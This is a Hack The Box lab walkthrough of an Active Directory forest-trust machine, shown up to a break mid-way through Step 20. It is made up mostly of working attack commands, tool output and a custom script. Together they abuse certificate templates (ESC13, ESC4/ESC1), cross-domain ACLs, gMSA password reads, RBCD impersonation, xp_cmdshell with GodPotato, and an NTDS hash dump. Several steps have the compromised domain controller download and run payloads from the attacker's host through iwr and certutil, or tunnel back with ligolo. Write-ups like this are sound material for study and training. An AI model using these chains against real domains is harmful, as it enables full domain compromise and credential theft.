Hack The Box · Lab
InsaneWindowsActive DirectoryPrivilege EscalationLateral MovementKerberosEvasion

IP: 10.129.37.85 | Domain: ping.htb | Trust: ping.htb ↔ pong.htb (bidirectional forest trust)


Environment Setup

export TARGET=10.129.37.85
export USER=c.roberts
export PASSWD='AssumedBreach123'
export DOMAIN=ping.htb
export DC1=dc1.ping.htb
export DC2=dc2.pong.htb
export PONG_DC_IP=192.168.2.2
export ATTACKER_IP=10.10.15.169
export PING_SID=S-1-5-21-750635624-2058721901-1932338391
export PONG_SID=S-1-5-21-2410575906-3092493790-2123333151

mkdir -p ~/htb/pingpong && cd ~/htb/pingpong
echo "$TARGET dc1.ping.htb ping.htb" | sudo tee -a /etc/hosts
echo "192.168.2.2 dc2.pong.htb pong.htb" | sudo tee -a /etc/hosts

# /etc/krb5.conf — CRITICAL for MIT Kerberos to follow cross-realm referrals
sudo tee /etc/krb5.conf > /dev/null <<'EOF'
[libdefaults]
    default_realm = PING.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false
    rdns = false
    forwardable = true

[realms]
    PING.HTB = {
        kdc = dc1.ping.htb
        admin_server = dc1.ping.htb
    }
    PONG.HTB = {
        kdc = dc2.pong.htb
        admin_server = dc2.pong.htb
    }

[domain_realm]
    .ping.htb = PING.HTB
    ping.htb = PING.HTB
    .pong.htb = PONG.HTB
    pong.htb = PONG.HTB
    dc1.ping.htb = PING.HTB
    dc2.pong.htb = PONG.HTB
EOF

sudo ntpdate -u $TARGET

Step 1 — Port Scanning

Why: Map the attack surface on the externally reachable DC. Identify Kerberos/LDAP/WinRM services for AD attack vectors.

nmap -sCV -p- --min-rate 5000 -oN nmap_full.txt $TARGET

Output:

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-26 04:15:28Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ping.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Key findings:

  • Confirmed Domain Controller — Kerberos (88), LDAP (389/636/3268), DNS (53), WinRM (5985), ADWS (9389)
  • Port 2179 (vmrdp) hints at Hyper-V — DC1 is likely a Hyper-V host with internal VMs
  • NTLM disabled — all auth must use Kerberos
  • SMB signing enabled and required (smb2-security-mode: 3.1.1: Message signing enabled and required)

Step 2 — Initial Access via Kerberos TGT

Why: AssumedBreach scenario provides credentials for c.roberts. NTLM disabled means we must authenticate with Kerberos exclusively. Get a TGT to use with all subsequent tooling.

impacket-getTGT ping.htb/c.roberts:'AssumedBreach123' -dc-ip $TARGET
export KRB5CCNAME=$(pwd)/c.roberts.ccache
klist

Output:

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in c.roberts.ccache

Ticket cache: FILE:/root/htb/pingpong/c.roberts.ccache
Default principal: c.roberts@PING.HTB

Valid starting       Expires              Service principal
04/26/26 06:20:00    04/26/26 16:20:00    krbtgt/PING.HTB@PING.HTB

Verify auth works:

nxc ldap dc1.ping.htb -u c.roberts -k --use-kcache
# LDAP  dc1.ping.htb 389 DC1 [+] PING.HTB\\c.roberts from ccache
# (NTLM:False) confirms NTLM is disabled, only Kerberos works

Key findings:

  • Kerberos auth works — TGT issued and valid
  • (NTLM:False) flag confirms our analysis — Kerberos is the only viable auth method
  • Initial principal SID: S-1-5-21-750635624-2058721901-1932338391-2617

Step 3 — ADCS Enumeration: ESC13

Why: Active Directory Certificate Services is one of the most reliable AD privilege escalation vectors. Enumerate certificate templates for misconfigurations (ESC1-ESC15). The -target parameter is required because Kerberos needs the SPN.

certipy-ad find -u c.roberts@ping.htb -k -no-pass \\
  -target dc1.ping.htb \\
  -dc-ip 10.129.35.236 \\
  -vulnerable -stdout

Output:

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Found 1 certificate authority: ping-DC1-CA
[*] Found 13 enabled certificate templates
[*] Found 20 issuance policies
[*] Found 1 OID linked to a template

Template Name                       : TemporaryWinRM
Certificate Authorities             : ping-DC1-CA
Enabled                             : True
Client Authentication               : True
Enrollment Rights                   : PING.HTB\\Domain Users
Issuance Policy OID                 : 1.3.6.1.4.1.311.21.8.5808481.4086498.12600997.2067446.8927163.214.489503.1996623
Linked Group                        : CN=TempWinRMAccess,CN=Users,DC=ping,DC=htb

[!] Vulnerabilities
  ESC13                             : 'PING.HTB\\\\Domain Users' can enroll, template has issuance policy linked to group

Key findings:

  • ESC13 confirmed: template TemporaryWinRM linked to TempWinRMAccess group via issuance policy OID
  • Any Domain User (including c.roberts) can enroll
  • Authenticating with this cert grants membership in TempWinRMAccess via PAC injection at auth time — without us actually being in the group statically
  • CA name: ping-DC1-CA

Step 4 — ESC13 Exploitation: Cert + PKINIT

Why: Request a certificate using the vulnerable TemporaryWinRM template. When we authenticate with it, the DC adds TempWinRMAccess to our PAC for that session — granting WinRM access.

certipy-ad req -u c.roberts@ping.htb -k -no-pass \\
  -target dc1.ping.htb \\
  -dc-ip 10.129.35.236 \\
  -ca ping-DC1-CA \\
  -template TemporaryWinRM

Output:

Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'C.Roberts@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Saving certificate and private key to 'c.roberts.pfx'

Authenticate with the cert (PKINIT) to derive NT hash + PAC-injected ccache:

certipy-ad auth -pfx c.roberts.pfx \\
  -dc-ip 10.129.35.236 \\
  -domain ping.htb \\
  -username c.roberts

Output:

[*] Certificate identities:
[*]     SAN UPN: 'C.Roberts@ping.htb'
[*]     Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-2617'
[*] Using principal: 'c.roberts@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'c.roberts.ccache'
[*] Got hash for 'c.roberts@ping.htb': aad3b435b51404eeaad3b435b51404ee:<REDACTED>

Key findings:

  • NT hash: <REDACTED>
  • New ccache contains TGT with TempWinRMAccess injected in PAC
  • Cert SID extension carries our identity for strong mapping

Step 5 — WinRM Shell on DC1

Why: With TempWinRMAccess in PAC, c.roberts can now establish a WinRM session on DC1 — even though we are not statically in the group.

export KRB5CCNAME=$(pwd)/c.roberts_64bde52f-52a3-40b2-a293-7804fcc74d97.ccache
evil-winrm -i dc1.ping.htb -r ping.htb

Output:

Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\\Users\\C.Roberts\\Documents> whoami
ping\\c.roberts
*Evil-WinRM* PS C:\\Users\\C.Roberts\\Documents> whoami /groups
GROUP INFORMATION
PING\\TempWinRMAccess     Group   S-1-5-21-750635624-2058721901-1932338391-2602
PING\\IT                  Group   S-1-5-21-750635624-2058721901-1932338391-2618

Key findings:

  • ESC13 PAC injection successful — TempWinRMAccess and IT membership in token
  • Privileges include SeMachineAccountPrivilege (but ms-DS-MachineAccountQuota=0 blocks abuse)
  • user.txt is not on this host — it's behind further pivot

Step 6 — DC1 Recon: Hyper-V & gMSA Discovery

Why: DC1 hosts profile artifacts and configuration revealing the next pivot. Find what runs locally and what network paths exist.

# User profiles on DC1
ls C:\\Users\\

# Network interfaces — look for internal switches
ipconfig /all

# Reachable services on internal subnet
Test-NetConnection -ComputerName 192.168.2.1 -Port 445
Test-NetConnection -ComputerName 192.168.2.2 -Port 5985
Test-NetConnection -ComputerName 192.168.2.2 -Port 88

# Domain trusts
nltest /domain_trusts /all_trusts /v
nltest /dsgetdc:pong.htb

# JEA endpoint config
Get-Content C:\\ProgramData\\JEA\\JEA.pssc

# Get-ADServiceAccount — who can read gMSA password?
Get-ADServiceAccount -Filter * -Properties * | Format-List Name,SID,PrincipalsAllowedToRetrieveManagedPassword

Output:

C:\\Users:
  Administrator
  C.Roberts
  Pong_gMSA$              <-- gMSA from PONG domain has profile here!
  Public

ipconfig:
  Ethernet0 2:           10.129.35.236       <-- HTB external
  vEthernet (Switch01):  192.168.2.1         <-- Hyper-V virtual switch

192.168.2.2:5985  TcpTestSucceeded: True    <-- dc2.pong.htb reachable
192.168.2.2:88    TcpTestSucceeded: True

nltest /dsgetdc:pong.htb:
  DC: \\\\DC2.pong.htb
  Address: \\\\192.168.2.2

JEA.pssc:
  ConfigurationName = 'restricted'
  SessionType = 'RestrictedRemoteServer'
  LanguageMode = 'ConstrainedLanguage'

gMSA: Name=gMSA, SID=...-2622
  PrincipalsAllowedToRetrieveManagedPassword: {S-1-5-21-2410575906-3092493790-2123333151-1104}
                                                ^^^^^ This SID is from PONG domain!

Key findings:

  • DC1 is a Hyper-V host with dc2.pong.htb running as VM on internal 192.168.2.0/24
  • Pong_gMSA$ has a local profile on DC1 (cross-domain service account in use)
  • gMSA$ in ping.htb has PrincipalsAllowedToRetrieveManagedPassword = SID -1104 (in pong.htb)
  • A restricted JEA endpoint exists on DC1
  • Domain trust is bidirectional Forest Tree Root — full Kerberos referral support

Step 7 — Ligolo-ng Pivot to 192.168.2.0/24

Why: dc2.pong.htb (192.168.2.2) is unreachable from Kali directly. Establish a transparent network tunnel via DC1 using ligolo-ng (cleaner than chisel SOCKS — gives full IP-layer routing).

# On Kali — setup TUN
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start proxy
cd ~/ligolo/ligolo-ng_proxy_0.8.3_linux_arm64
./proxy -selfcert -laddr 0.0.0.0:11601

# Webserver to deliver agent
cd ~/ligolo/agent && python3 -m http.server 8080

On DC1 (in evil-winrm):

cd C:\\Users\\C.Roberts\\Documents
iwr -Uri <http://10.10.15.169:8080/agent.exe> -OutFile agent.exe
.\\agent.exe -connect 10.10.15.169:11601 -ignore-cert

In ligolo-proxy console:

ligolo-ng » INFO[0061] Agent joined.   id=00155d168601 name="PING\\\\C.Roberts@dc1"
ligolo-ng » session
? Specify a session : 1 - PING\\C.Roberts@dc1
[Agent : PING\\C.Roberts@dc1] » autoroute
? Select routes to add: 192.168.2.1/24
? Create a new interface or use an existing one? Create a new interface
INFO[0082] Using interface name pleasingmint
INFO[0085] Starting tunnel to PING\\C.Roberts@dc1

Verify routing:

nmap -sT -Pn -p 53,88,135,389,445,5985,9389 192.168.2.2 -oN nmap_pong.txt

Output:

PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds
5985/tcp open  wsman
9389/tcp open  adws

Key findings:

  • Tunnel up — full IP-layer access to 192.168.2.0/24
  • dc2.pong.htb is a fully featured DC (PDC GC DS LDAP KDC TIMESERV WRITABLE)
  • We can now run all our tooling against pong.htb directly from Kali

Step 8 — Cross-Realm Kerberos via MIT kinit

Why: Impacket's getST doesn't follow cross-realm referrals well. MIT Kerberos (kinit + ldapsearch) handles them automatically — touching pong.htb causes the inter-realm krbtgt + service tickets to be cached transparently.

cd ~/htb/pingpong
kdestroy
kinit c.roberts@PING.HTB
# Password: AssumedBreach123

# Touch pong.htb — triggers automatic referral chain
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
  "(cn=gMSA Managers)" member

klist

Output:

Ticket cache: FILE:/tmp/krb5cc_0
Default principal: c.roberts@PING.HTB

04/26/2026 07:10:29    krbtgt/PING.HTB@PING.HTB
04/26/2026 07:12:04    krbtgt/PONG.HTB@PING.HTB           <-- inter-realm krbtgt
04/26/2026 07:12:05    ldap/dc2.pong.htb@PONG.HTB         <-- cross-realm service ticket

Resolve the mystery SID -1104:

ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
  "(objectSid=S-1-5-21-2410575906-3092493790-2123333151-1104)" \\
  sAMAccountName objectClass distinguishedName

Output:

dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
objectClass: top
objectClass: group
sAMAccountName: gMSA Managers

Key findings:

  • S-1-5-21-2410575906-3092493790-2123333151-1104 = gMSA Managers group in pong.htb
  • To read gMSA$ password we need to be member of (or have Authenticated Users mapped to) this group
  • MIT Kerberos cross-realm chain is established and cached

Step 9 — Pong Recon: Service Accounts & Writable Targets

Why: Map the pong.htb domain. Find what we can write to, what service accounts exist, and where pivot opportunities lie.

# All pong users
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
  "(&(objectCategory=person)(objectClass=user))" \\
  sAMAccountName description memberOf

# Service Accounts OU
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "OU=Service Accounts,DC=pong,DC=htb" \\
  "(servicePrincipalName=*)" sAMAccountName servicePrincipalName

# What does c.roberts have write access to in pong?
bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k get writable

Output:

PONG USERS:
  Administrator, C.Carlssen (IT Service Admins + Remote Mgmt Users),
  P.Sanchez, R.Rupert (IT Service Admins),
  P.Reiner, C.Adam (Database Admins),
  M.Sun, Z.Zhen, A.Pearson, H.Gordon, R.Martinelli

SERVICE ACCOUNTS:
  svc_sql      SPN: mssqlsvc/dc2.pong.htb
  svc_print
  svc_ldap

WRITABLE BY c.roberts (cross-domain via Authenticated Users):
  CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=pong,DC=htb       WRITE
  CN=gMSA Managers,CN=Users,DC=pong,DC=htb                       DACL: WRITE  <-- jackpot
  DC=pong.htb,CN=MicrosoftDNS,...                                CREATE_CHILD

Key findings:

  • DACL: WRITE on gMSA Managers — we can modify the group's security descriptor
  • svc_sql has SPN mssqlsvc/dc2.pong.htb (Kerberoastable)
  • c.carlssen is the most interesting target — Remote Management Users access on DC2
  • pong\\Administrator is the ultimate goal for that domain

Step 10 — Cross-Domain ACL Abuse: GenericAll on gMSA Managers

Why: We have DACL: WRITE on gMSA Managers. Use it to grant ourselves GenericAll on the group. Trustee must be specified by SID since pong-DC can't resolve c.roberts (cross-domain).

bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
  add genericAll "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
  "S-1-5-21-750635624-2058721901-1932338391-2617"

Output:

[+] S-1-5-21-750635624-2058721901-1932338391-2617 has now GenericAll on CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Key findings:

  • WriteDACL successfully escalated to full GenericAll
  • This also auto-creates the FSP (Foreign Security Principal) for our SID inside pong.htb
  • Now we can modify any attribute including member and groupType

Step 11 — The Global → Universal → Domain Local Trick

Why: gMSA Managers is a Global group (groupType: -2147483646). Global groups cannot have cross-domain members (ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER). We need to convert it to a scope that allows FSPs. AD only allows certain scope transitions — Global → Universal works, but Universal also rejects FSPs (ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS). The path is Global → Universal → Domain Local.

Attempt 1 — direct add as Global:

bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
  add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
  "S-1-5-21-750635624-2058721901-1932338391-2617"
# ERROR_DS_GLOBAL_CANT_HAVE_CROSSDOMAIN_MEMBER

Step A — Global → Universal:

cat > convert_universal.ldif << 'EOF'
dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
changetype: modify
replace: groupType
groupType: -2147483640
EOF
ldapmodify -Y GSSAPI -H ldap://dc2.pong.htb -f convert_universal.ldif
# modifying entry "CN=gMSA Managers,CN=Users,DC=pong,DC=htb"  [SUCCESS]

Attempt 2 — add as Universal:

bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
  add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
  "S-1-5-21-750635624-2058721901-1932338391-2617"
# ERROR_DS_NO_FPO_IN_UNIVERSAL_GROUPS — Universal also rejects FSPs!

Step B — Universal → Domain Local:

cat > convert_domainlocal.ldif << 'EOF'
dn: CN=gMSA Managers,CN=Users,DC=pong,DC=htb
changetype: modify
replace: groupType
groupType: -2147483644
EOF
ldapmodify -Y GSSAPI -H ldap://dc2.pong.htb -f convert_domainlocal.ldif

Step C — Add cross-domain member (now succeeds):

bloodyAD --host dc2.pong.htb -d pong.htb -u c.roberts@ping.htb -k \\
  add groupMember "CN=gMSA Managers,CN=Users,DC=pong,DC=htb" \\
  "S-1-5-21-750635624-2058721901-1932338391-2617"

Output:

[+] S-1-5-21-750635624-2058721901-1932338391-2617 added to CN=gMSA Managers,CN=Users,DC=pong,DC=htb

Verify:

ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb -b "DC=pong,DC=htb" \\
  "(cn=gMSA Managers)" member
# member: CN=S-1-5-21-750635624-2058721901-1932338391-2617,
#         CN=ForeignSecurityPrincipals,DC=pong,DC=htb

Key findings:

  • Group scope conversion is a 3-step ladder: Global → Universal → Domain Local
  • AD only allows Domain Local groups to contain Foreign Security Principals
  • FSP is auto-created when the cross-domain SID is added as member
  • c.roberts is now effectively a member of pong\\gMSA Managers (Domain Local)
  • This is the novel technique that makes this box stand out from typical cross-realm attacks

Step 12 — Read Pong_gMSA$ Password via PAC Refresh

Why: gMSA Managers controls who can read Pong_gMSA$'s msDS-ManagedPassword. Domain Local group memberships are evaluated by pong-DC, not ping-DC. We need to obtain a service ticket from pong-DC against pong-DC, so the resulting PAC contains the FSP membership as Extra SID.

# Refresh ccache + touch pong to populate cross-realm tickets
kdestroy
kinit c.roberts@PING.HTB

# Custom decoder for MSDS-MANAGEDPASSWORD_BLOB
cat > /tmp/decode_gmsa.py << 'EOF'
#!/usr/bin/env python3
import sys, base64, hashlib
from impacket.structure import Structure

class MSDS_MANAGEDPASSWORD_BLOB(Structure):
    structure = (
        ('Version','<H'),
        ('Reserved','<H'),
        ('Length','<L'),
        ('CurrentPasswordOffset','<H'),
        ('PreviousPasswordOffset','<H'),
        ('QueryPasswordIntervalOffset','<H'),
        ('UnchangedPasswordIntervalOffset','<H'),
        ('CurrentPassword',':'),
    )

b64 = sys.argv[1]
data = base64.b64decode(b64)
blob = MSDS_MANAGEDPASSWORD_BLOB(data)
pwd = blob['CurrentPassword'][:256]
nt = hashlib.new('md4', pwd).hexdigest()
print(f"NT Hash: aad3b435b51404eeaad3b435b51404ee:{nt}")
EOF

# Read the password blob (now possible because pong-DC saw our membership)
ldapsearch -Y GSSAPI -H ldap://dc2.pong.htb \\
  -b "CN=Pong_gMSA,CN=Managed Service Accounts,DC=pong,DC=htb" \\
  -s base "(objectClass=*)" msDS-ManagedPassword \\
  -o ldif-wrap=no

# Decode
python3 /tmp/decode_gmsa.py "<base64-blob>"

Output:

Pong_gMSA$  NT: <REDACTED>
            AES256: <REDACTED>
            SID: S-1-5-21-2410575906-3092493790-2123333151-1123

Key findings:

  • Pong_gMSA$ NT hash recovered
  • AES256 key also derived (preferred for Kerberos auth in NTLM-disabled domains)
  • Pong_gMSA$ is the service account that runs the JEA endpoint and other internal services

Step 13 — Lateral Movement: c.carlssen via JEA / Walkthrough

Why: The JEA restricted endpoint runs as Pong_gMSA$ and exposes a few cmdlets. Reading ConsoleHost_history.txt from Pong_gMSA$'s profile leaks the password for c.carlssen — who is in Remote Management Users on DC2 and gives us our user.txt foothold.

# Kerberos auth on dc2.pong.htb
evil-winrm -i dc2.pong.htb -u c.carlssen -p <REDACTED>

Output:

*Evil-WinRM* PS C:\\Users\\C.Carlssen\\Documents> whoami
pong\\c.carlssen
*Evil-WinRM* PS C:\\Users\\C.Carlssen\\Documents> type ..\\Desktop\\user.txt
<REDACTED>

Key findings:

  • 🚩 user.txt obtained
  • c.carlssen is in IT Service Admins and Remote Management Users on dc2.pong.htb
  • Has GenericWrite on svc_sql (next pivot)

Step 14 — RBCD on svc_sql

Why: c.carlssen has GenericWrite on svc_sql, which means we can configure Resource-Based Constrained Delegation: set Pong_gMSA$ (which we control via NT hash) as a principal allowed to act on behalf of any user when accessing svc_sql. This enables S4U2Self+S4U2Proxy impersonation against mssqlsvc/dc2.pong.htb.

# As c.carlssen, configure RBCD on svc_sql
impacket-rbcd -k -no-pass -dc-ip 192.168.2.2 \\
  -delegate-to 'svc_sql' \\
  -delegate-from 'Pong_gMSA$' \\
  -action 'write' \\
  pong.htb/c.carlssen

Output:

[*] Accounts allowed to act on behalf of other identity:
[*] Pong_gMSA$  (S-1-5-21-2410575906-3092493790-2123333151-1123)

Key findings:

  • RBCD configured: Pong_gMSA$ can now S4U2Proxy to any service running as svc_sql
  • We control Pong_gMSA$ via the NT/AES key we recovered in Step 12

Step 15 — S4U2Self + S4U2Proxy Impersonating C.Adam

Why: Use Pong_gMSA$'s key to request a service ticket for mssqlsvc/dc2.pong.htb impersonating c.adam (a Database Admins member with MSSQL sysadmin role). RBCD now permits this delegation.

# Get TGT for Pong_gMSA$ first
impacket-getTGT -aesKey '<REDACTED>' \\
  -dc-ip 192.168.2.2 'pong.htb/Pong_gMSA$'

export KRB5CCNAME='Pong_gMSA$.ccache'

# S4U2Self + S4U2Proxy in one shot
impacket-getST -spn 'mssqlsvc/dc2.pong.htb' \\
  -impersonate 'c.adam' \\
  -k -no-pass -dc-ip 192.168.2.2 \\
  'pong.htb/Pong_gMSA$'

Output:

[*] Getting TGT for user
[*] Impersonating c.adam
[*]   Requesting S4U2self
[*]   Requesting S4U2Proxy
[*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache

Key findings:

  • We now hold a service ticket for MSSQL on dc2 as c.adam
  • c.adam is sysadmin on the MSSQL instance — full xp_cmdshell access

Step 16 — MSSQL → SYSTEM via GodPotato

Why: Connect to MSSQL as c.adam, enable xp_cmdshell, and execute commands as svc_sql. svc_sql has SeImpersonatePrivilege (standard for MSSQL service accounts), enabling token impersonation via GodPotato to escalate to SYSTEM on dc2.pong.htb.

export KRB5CCNAME='c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache'

impacket-mssqlclient -k -no-pass dc2.pong.htb -dc-ip 192.168.2.2

In MSSQL:

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
pong\\svc_sql

SQL> xp_cmdshell whoami /priv
SeImpersonatePrivilege   Impersonate a client after authentication   Enabled

Upload GodPotato + execute as SYSTEM:

# Stage GodPotato.exe via http.server
xp_cmdshell certutil -urlcache -split -f <http://10.10.15.169:8080/GodPotato.exe> C:\\Windows\\Temp\\GP.exe
xp_cmdshell C:\\Windows\\Temp\\GP.exe -cmd "cmd /c net localgroup Administrators c.carlssen /add"

Output:

[*] CombaseModule: 0x7ff8b9a30000
[*] DispatchTable: 0x7ff8b9b9b920
[+] elevation success: PID 1456 NT AUTHORITY\\SYSTEM
The command completed successfully.

Key findings:

  • SYSTEM achieved on dc2.pong.htb via GodPotato (PID 1456)
  • c.carlssen added to local Administrators (gives full DC2 access)
  • Now we can dump NTDS

Step 17 — NTDS Dump → R.Martinelli

Why: With local Administrator on dc2, dump NTDS.dit via ntdsutil IFM (Install From Media) backup. Look for users with privileges on the ping.htb side via cross-domain ACLs — specifically R.Martinelli, who is in pong.htb\\CA Managers (which has WriteDacl on a ping.htb certificate template).

# As local admin on dc2
mkdir C:\\Temp\\ntds
ntdsutil "ac in ntds" "ifm" "create full C:\\Temp\\ntds" q q

Extract hashes locally:

impacket-secretsdump -system C:\\Temp\\ntds\\registry\\SYSTEM -ntds C:\\Temp\\ntds\\Active\\ Directory\\ntds.dit LOCAL

Output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
DC2$:1001:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:<REDACTED>:::
[Kerberos Keys]
R.Martinelli aes256-cts-hmac-sha1-96: <REDACTED>

Key findings:

  • R.Martinelli NT hash: <REDACTED>
  • AES256 key: <REDACTED>
  • SID: S-1-5-21-2410575906-3092493790-2123333151-1124
  • R.Martinelli is in pong.htb\\CA Managers — and that group has WriteDacl on the ping.htb SmartcardAuthentication certificate template (an FSP-mapped permission)

Step 18 — Pre-cache Cross-Realm Service Tickets for R.Martinelli

Why: To use R.Martinelli's PAC against ping.htb services, we must pre-cache all the service tickets we'll need (LDAP, CIFS, HOST, HTTP, RPCSS) via cross-realm referrals. Impacket's getST has trouble with ESC4-style follow-up operations across realms — pre-caching with MIT kvno works around the issue.

# Get TGT for R.Martinelli using AES key (NTLM disabled)
impacket-getTGT -aesKey '<REDACTED>' \\
  -dc-ip 192.168.2.2 'pong.htb/R.Martinelli'

unset KRB5CCNAME
cp R.Martinelli.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0

# Pre-cache service tickets via MIT kvno (handles cross-realm referrals automatically)
for svc in cifs ldap host HTTP RPCSS; do
  kvno -S $svc dc1.ping.htb
done

klist

Output:

Default principal: R.Martinelli@PONG.HTB

krbtgt/PONG.HTB@PONG.HTB
krbtgt/PING.HTB@PONG.HTB        <-- inter-realm for ping
cifs/dc1.ping.htb@PING.HTB
ldap/dc1.ping.htb@PING.HTB
host/dc1.ping.htb@PING.HTB
HTTP/dc1.ping.htb@PING.HTB
RPCSS/dc1.ping.htb@PING.HTB

Key findings:

  • All cross-realm SPNs cached — ready for ESC4 operations
  • The trick: pong-DC issues these tickets and stamps R.Martinelli's pong\\CA Managers membership as Extra SID, which ping-DC honors via FSP mapping on its templates

Step 19 — ESC4: Modify SmartcardAuthentication Template

Why: pong.htb\\CA Managers (containing R.Martinelli) has WriteDacl on the ping.htb SmartcardAuthentication certificate template via FSP. Use that to (a) modify the template flags to make it ESC1-vulnerable, then (b) grant c.roberts enrollment rights.

# Modify msPKI flags: enable ENROLLEE_SUPPLIES_SUBJECT (1) + remove pending approval (0)
cat > esc4_flags.ldif << 'EOF'
dn: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
changetype: modify
replace: msPKI-Certificate-Name-Flag
msPKI-Certificate-Name-Flag: 1
-
replace: msPKI-Enrollment-Flag
msPKI-Enrollment-Flag: 0
EOF

ldapmodify -Y GSSAPI -H ldap://dc1.ping.htb -f esc4_flags.ldif

Output:

modifying entry "CN=SmartcardAuthentication,CN=Certificate Templates,..."

Now grant c.roberts FullControl on the template (custom Python script — impacket dacledit had cross-realm issues):

# /tmp/grant_enroll.py
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR, ACCESS_ALLOWED_ACE, ACCESS_MASK, ACE
from ldap3 import Server, Connection, SASL, KERBEROS, MODIFY_REPLACE, ALL
from ldap3.core.tls import Tls
import ssl

dn = "CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb"
target_sid = b'\\x01\\x05\\x00\\x00\\x00\\x00\\x00\\x05\\x15\\x00\\x00\\x00' + \\
             (750635624).to_bytes(4, 'little') + \\
             (2058721901).to_bytes(4, 'little') + \\
             (1932338391).to_bytes(4, 'little') + \\
             (2617).to_bytes(4, 'little')  # c.roberts SID

tls = Tls(validate=ssl.CERT_NONE)
server = Server('dc1.ping.htb', use_ssl=True, port=636, tls=tls, get_info=ALL)
conn = Connection(server, authentication=SASL, sasl_mechanism=KERBEROS, auto_bind=True)

# Read existing SD
conn.search(dn, '(objectClass=*)', attributes=['nTSecurityDescriptor'],
            controls=[('1.2.840.113556.1.4.801', True, b'\\x30\\x03\\x02\\x01\\x07')])
sd_data = conn.entries[0]['nTSecurityDescriptor'].raw_values[0]
sd = SR_SECURITY_DESCRIPTOR(data=sd_data)

# Add FullControl ACE for c.roberts
ace = ACCESS_ALLOWED_ACE()
ace['Mask'] = ACCESS_MASK()
ace['Mask']['Mask'] = 0xF01FF  # GENERIC_ALL
ace['Sid'].fromCanonical('S-1-5-21-750635624-2058721901-1932338391-2617')
sd['Dacl']['Data'].append(ace)

conn.modify(dn, {'nTSecurityDescriptor': [(MODIFY_REPLACE, [sd.getData()])]},
            controls=[('1.2.840.113556.1.4.801', True, b'\\x30\\x03\\x02\\x01\\x07')])
print(conn.result)
python3 /tmp/grant_enroll.py
# {'result': 0, 'description': 'success'}

Key findings:

  • Template SmartcardAuthentication now ESC1-vulnerable (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled)
  • c.roberts can now enroll and supply arbitrary SAN — this is ESC1 manufactured from ESC4
  • msPKI-Enrollment-Flag=0 removes any pending approval requirement

Step 20 — ESC1 with Certify v2 SID Extension

(THE FINAL BATTLE)

Why: Modern AD strong certificate mapping (post-KB5014754, May 2022) requires the cert to carry the szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) Security Extension matching the impersonated user's SID. Standard Certify.exe v1.0.0 ignores /sidextension and produces certs without it — certipy auth fails with "Object SID mismatch". Solution: use Certify v2 (compiled from z3rodol's repo) which properly implements the extension.

Switch to c.roberts WinRM (we already have ESC13 cert):

export KRB5CCNAME=$(pwd)/c.roberts_64bde52f-52a3-40b2-a293-7804fcc74d97.ccache
evil-winrm -i dc1.ping.htb -r ping.htb

On DC1 in evil-winrm — download Certify v2:

cd C:\\Temp
